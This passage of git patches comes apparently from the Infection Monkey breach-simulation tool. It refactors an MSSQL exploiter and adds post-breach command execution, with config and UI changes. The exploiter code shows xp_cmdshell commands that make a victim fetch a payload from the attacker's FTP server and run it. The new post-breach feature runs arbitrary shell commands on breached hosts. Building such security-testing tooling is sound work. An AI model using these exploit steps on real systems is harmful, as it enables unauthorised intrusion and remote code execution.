from 1024 to 2048. --- monkey/monkey_island/linux/create_certificate.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/linux/create_certificate.sh b/monkey/monkey_island/linux/create_certificate.sh index 477440a6f..0aae17558 100644 --- a/monkey/monkey_island/linux/create_certificate.sh +++ b/monkey/monkey_island/linux/create_certificate.sh @@ -1,6 +1,6 @@ #!/bin/bash cd /var/monkey/monkey_island -openssl genrsa -out cc/server.key 1024 +openssl genrsa -out cc/server.key 2048 openssl req -new -key cc/server.key -out cc/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt From c205636b10edf2b50da331fd2687122d4b57ea6e Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Fri, 8 Mar 2019 15:34:17 +0000 Subject: [PATCH 163/201] MSSQL now is able to upload a payload --- monkey/infection_monkey/exploit/mssqlexec.py | 9 ++--- .../exploit/mssqlexec_utils.py | 40 ++++++++----------- 2 files changed, 20 insertions(+), 29 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index a94e194a4..2e8bf6c90 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,6 +1,4 @@ import os -import platform -from os import path import logging import pymssql @@ -19,8 +17,8 @@ class MSSQLExploiter(HostExploiter): EXPLOIT_TYPE = ExploitType.BRUTE_FORCE LOGIN_TIMEOUT = 15 SQL_DEFAULT_TCP_PORT = '1433' - DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'%TEMP%\~PLD123.bat') - DEFAULT_PAYLOAD_PATH_LINUX = '/tmp/~PLD123.bat' + DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat') + DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat' def __init__(self, host): super(MSSQLExploiter, self).__init__(host) @@ -62,7 +60,6 @@ class MSSQLExploiter(HostExploiter): return False def handle_payload(self, cursor, payload): - """ Handles the process of payload sending and execution, prepares the attack and details. @@ -74,7 +71,7 @@ class MSSQLExploiter(HostExploiter): True or False depends on process success """ - chosen_attack = self.attacks_list[0](payload, cursor, self.host.ip_addr) + chosen_attack = self.attacks_list[0](payload, cursor, self.host) if chosen_attack.send_payload(): LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) diff --git a/monkey/infection_monkey/exploit/mssqlexec_utils.py b/monkey/infection_monkey/exploit/mssqlexec_utils.py index ab8b88e60..51293dfe3 100644 --- a/monkey/infection_monkey/exploit/mssqlexec_utils.py +++ b/monkey/infection_monkey/exploit/mssqlexec_utils.py @@ -8,6 +8,7 @@ from infection_monkey.exploit.tools import get_interface_to_target from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer +from time import sleep __author__ = 'Maor Rayzin' @@ -17,7 +18,8 @@ FTP_SERVER_PORT = 1026 FTP_SERVER_ADDRESS = '' FTP_SERVER_USER = 'brute' FTP_SERVER_PASSWORD = 'force' -FTP_WORKING_DIR = '.' +FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/') +FTP_WORK_DIR_LINUX = '/tmp/' LOG = logging.getLogger(__name__) @@ -30,37 +32,29 @@ class FTP(object): user (str): User for FTP server auth password (str): Password for FTP server auth working_dir (str): The local working dir to init the ftp server on. - """ - def __init__(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, - working_dir=FTP_WORKING_DIR): + def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD): """Look at class level docstring.""" - + self.dst_ip = host.ip_addr self.user = user self.password = password - self.working_dir = working_dir + self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS - def run_server(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, - working_dir=FTP_WORKING_DIR): + def run_server(self): """ Configures and runs the ftp server to listen forever until stopped. - - Args: - user (str): User for FTP server auth - password (str): Password for FTP server auth - working_dir (str): The local working dir to init the ftp server on. """ # Defining an authorizer and configuring the ftp user authorizer = DummyAuthorizer() - authorizer.add_user(user, password, working_dir, perm='elradfmw') + authorizer.add_user(self.user, self.password, self.working_dir, perm='elr') # Normal ftp handler handler = FTPHandler handler.authorizer = authorizer - address = (FTP_SERVER_ADDRESS, FTP_SERVER_PORT) + address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT) # Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword self.server = FTPServer(address, handler) @@ -100,14 +94,15 @@ class CmdShellAttack(AttackHost): Args: payload_path (str): The local path of the payload file cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with. + host (model.host.VictimHost): Host this attack is going to target """ - def __init__(self, payload_path, cursor, dst_ip_address): + def __init__(self, payload_path, cursor, host): super(CmdShellAttack, self).__init__(payload_path) - self.ftp_server, self.ftp_server_p = self.__init_ftp_server() + self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host) self.cursor = cursor - self.attacker_ip = get_interface_to_target(dst_ip_address) + self.attacker_ip = get_interface_to_target(host.ip_addr) def send_payload(self): """ @@ -121,7 +116,6 @@ class CmdShellAttack(AttackHost): shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \ echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER) shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD) - shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\ .format(self.payload_path) shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """ @@ -129,11 +123,11 @@ class CmdShellAttack(AttackHost): # Checking to see if ftp server is up if self.ftp_server_p and self.ftp_server: - try: # Running the cmd on remote host for cmd in shellcmds: self.cursor.execute(cmd) + sleep(0.5) except Exception as e: LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True) self.ftp_server_p.terminate() @@ -174,7 +168,7 @@ class CmdShellAttack(AttackHost): self.ftp_server_p.terminate() return False - except pymssql.OperationalError: + except pymssql.OperationalError as e: LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True) self.ftp_server_p.terminate() return False @@ -193,7 +187,7 @@ class CmdShellAttack(AttackHost): LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True) return False - def __init_ftp_server(self): + def __init_ftp_server(self, host): """ Init an FTP server using FTP class on a different process @@ -203,7 +197,7 @@ class CmdShellAttack(AttackHost): """ try: - ftp_s = FTP() + ftp_s = FTP(host) multiprocessing.log_to_stderr(logging.DEBUG) p = multiprocessing.Process(target=ftp_s.run_server) p.start() From 0268fa833f0fa2453a97381ee262e34adafe2f96 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 19 Mar 2019 18:41:14 +0200 Subject: [PATCH 164/201] New directory for monkey and it's files --- monkey/infection_monkey/config.py | 3 +++ monkey/infection_monkey/monkey.py | 4 ++++ monkey/infection_monkey/utils.py | 23 +++++++++++++++++++ .../cc/services/config_schema.py | 14 ++++++++++- 4 files changed, 43 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index ff66ff167..5d6fba356 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -107,6 +107,9 @@ class Configuration(object): dropper_target_path_win_32 = r"C:\Windows\monkey32.exe" dropper_target_path_win_64 = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' + # Monkey dir paths + monkey_dir_linux = '/tmp/monkey_dir' + monkey_dir_windows = r'C:\Windows\temp\monkey_dir' ########################### # Kill file diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 92913749e..fe7558714 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -76,6 +76,9 @@ class InfectionMonkey(object): LOG.info("Monkey couldn't find server. Going down.") return + # Create a dir for monkey files if there isn't one + utils.create_monkey_dir() + if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True self._singleton.unlock() @@ -216,6 +219,7 @@ class InfectionMonkey(object): self._singleton.unlock() InfectionMonkey.self_delete() + utils.remove_monkey_dir() LOG.info("Monkey is shutting down") @staticmethod diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py index 635f2360d..ccb6010c7 100644 --- a/monkey/infection_monkey/utils.py +++ b/monkey/infection_monkey/utils.py @@ -1,5 +1,6 @@ import os import sys +import shutil import struct from infection_monkey.config import WormConfiguration @@ -35,3 +36,25 @@ def utf_to_ascii(string): # Converts utf string to ascii. Safe to use even if string is already ascii. udata = string.decode("utf-8") return udata.encode("ascii", "ignore") + + +def create_monkey_dir(): + """ + Creates directory for monkey and related files + """ + if is_windows_os(): + if not os.path.exists(WormConfiguration.monkey_dir_windows): + os.mkdir(WormConfiguration.monkey_dir_windows) + else: + if not os.path.exists(WormConfiguration.monkey_log_path_linux): + os.mkdir(WormConfiguration.monkey_dir_linux) + + +def remove_monkey_dir(): + """ + Removes monkey's root directory + """ + if is_windows_os(): + shutil.rmtree(WormConfiguration.monkey_dir_windows, ignore_errors=True) + else: + shutil.rmtree(WormConfiguration.monkey_dir_linux, ignore_errors=True) diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 8d99540bf..cbcc6ba0a 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -423,7 +423,19 @@ SCHEMA = { "type": "integer", "default": 60, "description": "Time to keep tunnel open before going down after last exploit (in seconds)" - } + }, + "monkey_dir_windows": { + "title": "Monkey's windows directory", + "type": "string", + "default": r"C:\Windows\temp\monkey_dir", + "description": "Directory containing all monkey files on windows" + }, + "monkey_dir_linux": { + "title": "Monkey's linux directory", + "type": "string", + "default": "/tmp/monkey_dir", + "description": "Directory containing all monkey files on linux" + }, } }, "classes": { From eb1cb9170487cf60e08dad25bcfb6758e131346b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 20 Mar 2019 09:33:10 +0200 Subject: [PATCH 165/201] Removed monkey dir paths from island's configuration --- monkey/infection_monkey/config.py | 7 ++++--- monkey/monkey_island/cc/services/config_schema.py | 14 +------------- 2 files changed, 5 insertions(+), 16 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 5d6fba356..723806388 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -107,9 +107,6 @@ class Configuration(object): dropper_target_path_win_32 = r"C:\Windows\monkey32.exe" dropper_target_path_win_64 = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' - # Monkey dir paths - monkey_dir_linux = '/tmp/monkey_dir' - monkey_dir_windows = r'C:\Windows\temp\monkey_dir' ########################### # Kill file @@ -164,6 +161,10 @@ class Configuration(object): keep_tunnel_open_time = 60 + # Monkey files directories + monkey_dir_linux = '/tmp/monkey_dir' + monkey_dir_windows = r'C:\Windows\Temp\monkey_dir' + ########################### # scanners config ########################### diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index cbcc6ba0a..8d99540bf 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -423,19 +423,7 @@ SCHEMA = { "type": "integer", "default": 60, "description": "Time to keep tunnel open before going down after last exploit (in seconds)" - }, - "monkey_dir_windows": { - "title": "Monkey's windows directory", - "type": "string", - "default": r"C:\Windows\temp\monkey_dir", - "description": "Directory containing all monkey files on windows" - }, - "monkey_dir_linux": { - "title": "Monkey's linux directory", - "type": "string", - "default": "/tmp/monkey_dir", - "description": "Directory containing all monkey files on linux" - }, + } } }, "classes": { From d61c080848d96ff8981041e9cd96e4acc58d7975 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 20 Mar 2019 14:02:53 +0200 Subject: [PATCH 166/201] Small refactor, values to island's config added. --- monkey/infection_monkey/monkey.py | 2 +- monkey/infection_monkey/utils.py | 16 ++++++++-------- .../monkey_island/cc/services/config_schema.py | 14 +++++++++++++- 3 files changed, 22 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index fe7558714..f09425f25 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -219,7 +219,6 @@ class InfectionMonkey(object): self._singleton.unlock() InfectionMonkey.self_delete() - utils.remove_monkey_dir() LOG.info("Monkey is shutting down") @staticmethod @@ -234,6 +233,7 @@ class InfectionMonkey(object): if WormConfiguration.self_delete_in_cleanup \ and -1 == sys.executable.find('python'): try: + utils.remove_monkey_dir() if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE startupinfo = subprocess.STARTUPINFO() diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py index ccb6010c7..741d7c950 100644 --- a/monkey/infection_monkey/utils.py +++ b/monkey/infection_monkey/utils.py @@ -42,19 +42,19 @@ def create_monkey_dir(): """ Creates directory for monkey and related files """ - if is_windows_os(): - if not os.path.exists(WormConfiguration.monkey_dir_windows): - os.mkdir(WormConfiguration.monkey_dir_windows) - else: - if not os.path.exists(WormConfiguration.monkey_log_path_linux): - os.mkdir(WormConfiguration.monkey_dir_linux) + if not os.path.exists(get_monkey_dir_path()): + os.mkdir(get_monkey_dir_path()) def remove_monkey_dir(): """ Removes monkey's root directory """ + shutil.rmtree(get_monkey_dir_path(), ignore_errors=True) + + +def get_monkey_dir_path(): if is_windows_os(): - shutil.rmtree(WormConfiguration.monkey_dir_windows, ignore_errors=True) + return WormConfiguration.monkey_dir_windows else: - shutil.rmtree(WormConfiguration.monkey_dir_linux, ignore_errors=True) + return WormConfiguration.monkey_dir_linux diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 8d99540bf..cbcc6ba0a 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -423,7 +423,19 @@ SCHEMA = { "type": "integer", "default": 60, "description": "Time to keep tunnel open before going down after last exploit (in seconds)" - } + }, + "monkey_dir_windows": { + "title": "Monkey's windows directory", + "type": "string", + "default": r"C:\Windows\temp\monkey_dir", + "description": "Directory containing all monkey files on windows" + }, + "monkey_dir_linux": { + "title": "Monkey's linux directory", + "type": "string", + "default": "/tmp/monkey_dir", + "description": "Directory containing all monkey files on linux" + }, } }, "classes": { From fecfd138a03e9b3aa73578b50578fd77f58eb847 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 25 Mar 2019 10:48:56 +0200 Subject: [PATCH 167/201] Directory removal moved to happen before self_delete call --- monkey/infection_monkey/monkey.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index f09425f25..4089a1c07 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -218,6 +218,7 @@ class InfectionMonkey(object): self.send_log() self._singleton.unlock() + utils.remove_monkey_dir() InfectionMonkey.self_delete() LOG.info("Monkey is shutting down") @@ -233,7 +234,6 @@ class InfectionMonkey(object): if WormConfiguration.self_delete_in_cleanup \ and -1 == sys.executable.find('python'): try: - utils.remove_monkey_dir() if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE startupinfo = subprocess.STARTUPINFO() From e5f908754a8d2ef8f473092df616161f7c134be6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 29 Jan 2019 18:11:01 +0200 Subject: [PATCH 168/201] Started implementing custom post-breach actions --- monkey/infection_monkey/model/host.py | 3 ++ .../post_breach/post_breach.py | 45 +++++++++++++++++++ .../cc/services/config_schema.py | 16 +++++-- 3 files changed, 60 insertions(+), 4 deletions(-) create mode 100644 monkey/infection_monkey/post_breach/post_breach.py diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index dcc6e7455..3d8c3d0e6 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -46,3 +46,6 @@ class VictimHost(object): def set_default_server(self, default_server): self.default_server = default_server + + def is_linux(self): + return 'linux' in self.os['type'] diff --git a/monkey/infection_monkey/post_breach/post_breach.py b/monkey/infection_monkey/post_breach/post_breach.py new file mode 100644 index 000000000..24274582a --- /dev/null +++ b/monkey/infection_monkey/post_breach/post_breach.py @@ -0,0 +1,45 @@ +import logging +import infection_monkey.config +import subprocess +from abc import abstractmethod + +LOG = logging.getLogger(__name__) + +__author__ = 'VakarisZ' + + +# Class that handles post breach action execution +class PostBreach(object): + def __init__(self, host, pba_list): + self._config = infection_monkey.config.WormConfiguration + self.pba_list = pba_list + self.host = host + + def execute(self): + for pba in self.pba_list: + if self.host.is_linux(): + pba.execute_linux() + else: + pba.execute_win() + + @staticmethod + @abstractmethod + def config_to_pba_list(config): + """ + Should return a list of PBA's generated from config + """ + raise NotImplementedError() + + +# Post Breach Action container +class PBA(object): + def __init__(self, linux_command="", windows_command=""): + self.linux_command = linux_command + self.windows_command = windows_command + + def execute_linux(self): + return subprocess.check_output(self.linux_command, shell=True) + + def execute_win(self): + return subprocess.check_output(self.windows_command, shell=True) + diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index cbcc6ba0a..e0c286065 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -298,10 +298,18 @@ SCHEMA = { }, "post_breach_actions": { "title": "Post breach actions", - "type": "array", - "uniqueItems": True, - "items": { - "$ref": "#/definitions/post_breach_acts" + "type": "object", + "properties": { + "linux": { + "title": "Linux command", + "type": "string", + "description": "Linux command to execute after breaching" + }, + "windows": { + "title": "Windows command", + "type": "string", + "description": "Windows command to execute after breaching" + } }, "default": [ ], From 8e78150db447fe5488ef2e30db63a64642872f73 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 30 Jan 2019 13:58:15 +0200 Subject: [PATCH 169/201] Front end input changed to text area --- .../cc/ui/src/components/pages/ConfigurePage.js | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 5915b3eaa..e154ba330 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -152,6 +152,18 @@ class ConfigurePageComponent extends AuthComponent { render() { let displayedSchema = {}; + const uiSchema = { + general: { + post_breach_actions: { + linux: { + "ui:widget": "textarea" + }, + windows: { + "ui:widget": "textarea" + } + } + } + }; if (this.state.schema.hasOwnProperty('properties')) { displayedSchema = this.state.schema['properties'][this.state.selectedSection]; displayedSchema['definitions'] = this.state.schema['definitions']; @@ -178,6 +190,7 @@ class ConfigurePageComponent extends AuthComponent { } { this.state.selectedSection ?
    From 20d774b7df21aba70890c642760cf8c1fa6eb587 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 4 Feb 2019 09:57:57 +0200 Subject: [PATCH 170/201] Core functionality added, not tested yet --- monkey/infection_monkey/config.py | 6 +---- monkey/infection_monkey/monkey.py | 5 ++++ .../post_breach/post_breach.py | 24 ++++++++--------- .../monkey_island/cc/resources/telemetry.py | 10 ++++++- .../cc/services/config_schema.py | 27 +++++-------------- .../ui/src/components/pages/ConfigurePage.js | 2 +- 6 files changed, 35 insertions(+), 39 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 723806388..65015b76c 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -20,7 +20,6 @@ class Configuration(object): # now we won't work at <2.7 for sure network_import = importlib.import_module('infection_monkey.network') exploit_import = importlib.import_module('infection_monkey.exploit') - post_breach_import = importlib.import_module('infection_monkey.post_breach') unknown_items = [] for key, value in formatted_data.items(): @@ -37,9 +36,6 @@ class Configuration(object): elif key == 'exploiter_classes': class_objects = [getattr(exploit_import, val) for val in value] setattr(self, key, class_objects) - elif key == 'post_breach_actions': - class_objects = [getattr(post_breach_import, val) for val in value] - setattr(self, key, class_objects) else: if hasattr(self, key): setattr(self, key, value) @@ -270,7 +266,7 @@ class Configuration(object): extract_azure_creds = True - post_breach_actions = [] + post_breach_actions = {} WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 4089a1c07..8055742a5 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -16,6 +16,7 @@ from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.windows_upgrader import WindowsUpgrader +from infection_monkey.post_breach.post_breach import PostBreach __author__ = 'itamar' @@ -112,6 +113,10 @@ class InfectionMonkey(object): system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) + pb = PostBreach() + output = pb.execute() + ControlClient.send_telemetry("post_breach", {'output': output}) + for action_class in WormConfiguration.post_breach_actions: action = action_class() action.act() diff --git a/monkey/infection_monkey/post_breach/post_breach.py b/monkey/infection_monkey/post_breach/post_breach.py index 24274582a..12577fe25 100644 --- a/monkey/infection_monkey/post_breach/post_breach.py +++ b/monkey/infection_monkey/post_breach/post_breach.py @@ -1,7 +1,7 @@ import logging import infection_monkey.config import subprocess -from abc import abstractmethod +import platform LOG = logging.getLogger(__name__) @@ -10,25 +10,25 @@ __author__ = 'VakarisZ' # Class that handles post breach action execution class PostBreach(object): - def __init__(self, host, pba_list): - self._config = infection_monkey.config.WormConfiguration - self.pba_list = pba_list - self.host = host + def __init__(self): + self.pba_list = PostBreach.config_to_pba_list(infection_monkey.config.WormConfiguration) def execute(self): for pba in self.pba_list: - if self.host.is_linux(): - pba.execute_linux() + if platform.system() == 'Windows': + return pba.execute_win() else: - pba.execute_win() + return pba.execute_linux() @staticmethod - @abstractmethod def config_to_pba_list(config): """ Should return a list of PBA's generated from config """ - raise NotImplementedError() + pba_list = [] + if config.post_breach_actions["linux"] or config.post_breach_actions["windows"]: + pba_list.append(PBA(config.post_breach_actions["linux"], config.post_breach_actions["windows"])) + return pba_list # Post Breach Action container @@ -38,8 +38,8 @@ class PBA(object): self.windows_command = windows_command def execute_linux(self): - return subprocess.check_output(self.linux_command, shell=True) + return subprocess.check_output(self.linux_command, shell=True) if self.linux_command else False def execute_win(self): - return subprocess.check_output(self.windows_command, shell=True) + return subprocess.check_output(self.windows_command, shell=True) if self.windows_command else False diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 57148aa0f..12e11ca9d 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -257,6 +257,13 @@ class Telemetry(flask_restful.Resource): if len(credential) > 0: attempts[i][field] = encryptor.enc(credential.encode('utf-8')) + @staticmethod + def process_post_breach_telemetry(telemetry_json): + if telemetry_json['output']: + node = NodeService.get_or_create_node(telemetry_json['ip'], telemetry_json['domain_name']) + + + pass TELEM_PROCESS_DICT = \ { @@ -265,5 +272,6 @@ TELEM_PROCESS_DICT = \ 'exploit': Telemetry.process_exploit_telemetry, 'scan': Telemetry.process_scan_telemetry, 'system_info_collection': Telemetry.process_system_info_telemetry, - 'trace': Telemetry.process_trace_telemetry + 'trace': Telemetry.process_trace_telemetry, + 'post_breach': Telemetry.process_post_breach_telemetry } diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index e0c286065..ff27cf101 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -94,19 +94,6 @@ SCHEMA = { } ] }, - "post_breach_acts": { - "title": "Post breach actions", - "type": "string", - "anyOf": [ - { - "type": "string", - "enum": [ - "BackdoorUser" - ], - "title": "Back door user", - }, - ], - }, "finger_classes": { "title": "Fingerprint class", "type": "string", @@ -295,7 +282,13 @@ SCHEMA = { "type": "boolean", "default": True, "description": "Is the monkey alive" - }, + } + } + }, + "behaviour": { + "title": "Behaviour", + "type": "object", + "properties": { "post_breach_actions": { "title": "Post breach actions", "type": "object", @@ -315,12 +308,6 @@ SCHEMA = { ], "description": "List of actions the Monkey will run post breach" }, - } - }, - "behaviour": { - "title": "Behaviour", - "type": "object", - "properties": { "self_delete_in_cleanup": { "title": "Self delete on cleanup", "type": "boolean", diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index e154ba330..05e29fde0 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -153,7 +153,7 @@ class ConfigurePageComponent extends AuthComponent { render() { let displayedSchema = {}; const uiSchema = { - general: { + behaviour: { post_breach_actions: { linux: { "ui:widget": "textarea" From eb05dd46e761af44ee45a3cfe259537b65f2377d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 4 Feb 2019 18:38:04 +0200 Subject: [PATCH 171/201] PBA's stored on the database --- monkey/infection_monkey/monkey.py | 8 +---- .../post_breach/post_breach.py | 31 ++++++++++++++----- .../monkey_island/cc/resources/telemetry.py | 8 ++--- .../cc/resources/telemetry_feed.py | 12 ++++++- 4 files changed, 38 insertions(+), 21 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 8055742a5..c03b29700 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -113,13 +113,7 @@ class InfectionMonkey(object): system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) - pb = PostBreach() - output = pb.execute() - ControlClient.send_telemetry("post_breach", {'output': output}) - - for action_class in WormConfiguration.post_breach_actions: - action = action_class() - action.act() + PostBreach().execute() if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") diff --git a/monkey/infection_monkey/post_breach/post_breach.py b/monkey/infection_monkey/post_breach/post_breach.py index 12577fe25..c3b6d40f9 100644 --- a/monkey/infection_monkey/post_breach/post_breach.py +++ b/monkey/infection_monkey/post_breach/post_breach.py @@ -2,6 +2,7 @@ import logging import infection_monkey.config import subprocess import platform +from infection_monkey.control import ControlClient LOG = logging.getLogger(__name__) @@ -15,27 +16,41 @@ class PostBreach(object): def execute(self): for pba in self.pba_list: - if platform.system() == 'Windows': - return pba.execute_win() - else: - return pba.execute_linux() + pba.run() @staticmethod def config_to_pba_list(config): """ - Should return a list of PBA's generated from config + Should return a list of PBA's generated from config. After ATT&CK is implemented this will pick + which PBA's to run. """ pba_list = [] - if config.post_breach_actions["linux"] or config.post_breach_actions["windows"]: - pba_list.append(PBA(config.post_breach_actions["linux"], config.post_breach_actions["windows"])) + # Get custom PBA command from config + custom_pba_linux = config.post_breach_actions['linux'] if "linux" in config.post_breach_actions else "" + custom_pba_windows = config.post_breach_actions['windows'] if "windows" in config.post_breach_actions else "" + + if custom_pba_linux or custom_pba_windows: + pba_list.append(PBA('custom_pba', custom_pba_linux, custom_pba_windows)) return pba_list # Post Breach Action container class PBA(object): - def __init__(self, linux_command="", windows_command=""): + def __init__(self, name="unknown", linux_command="", windows_command=""): self.linux_command = linux_command self.windows_command = windows_command + self.name = name + + def run(self): + if platform.system() == 'Windows': + ControlClient.send_telemetry('post_breach', {'command': self.windows_command, + 'output': self.execute_win(), + 'name': self.name}) + else: + ControlClient.send_telemetry('post_breach', {'command': self.linux_command, + 'output': self.execute_linux(), + 'name': self.name}) + return False def execute_linux(self): return subprocess.check_output(self.linux_command, shell=True) if self.linux_command else False diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 12e11ca9d..d6c6a5585 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -259,11 +259,9 @@ class Telemetry(flask_restful.Resource): @staticmethod def process_post_breach_telemetry(telemetry_json): - if telemetry_json['output']: - node = NodeService.get_or_create_node(telemetry_json['ip'], telemetry_json['domain_name']) - - - pass + mongo.db.monkey.update( + {'guid': telemetry_json['monkey_guid']}, + {'$push': {'post_breach_actions': telemetry_json['data']}}) TELEM_PROCESS_DICT = \ { diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index deeb0f4da..4b373330d 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -80,6 +80,15 @@ class TelemetryFeed(flask_restful.Resource): def get_trace_telem_brief(telem): return 'Monkey reached max depth.' + @staticmethod + def get_post_breach_telem_brief(telem): + target = telem['data']['ip'] + output = telem['data']['output'] + if output: + return 'Monkey ran post breach commands on %s.' % target + else: + return 'Monkey failed running post breach commands on %s.' % target + TELEM_PROCESS_DICT = \ { @@ -88,5 +97,6 @@ TELEM_PROCESS_DICT = \ 'exploit': 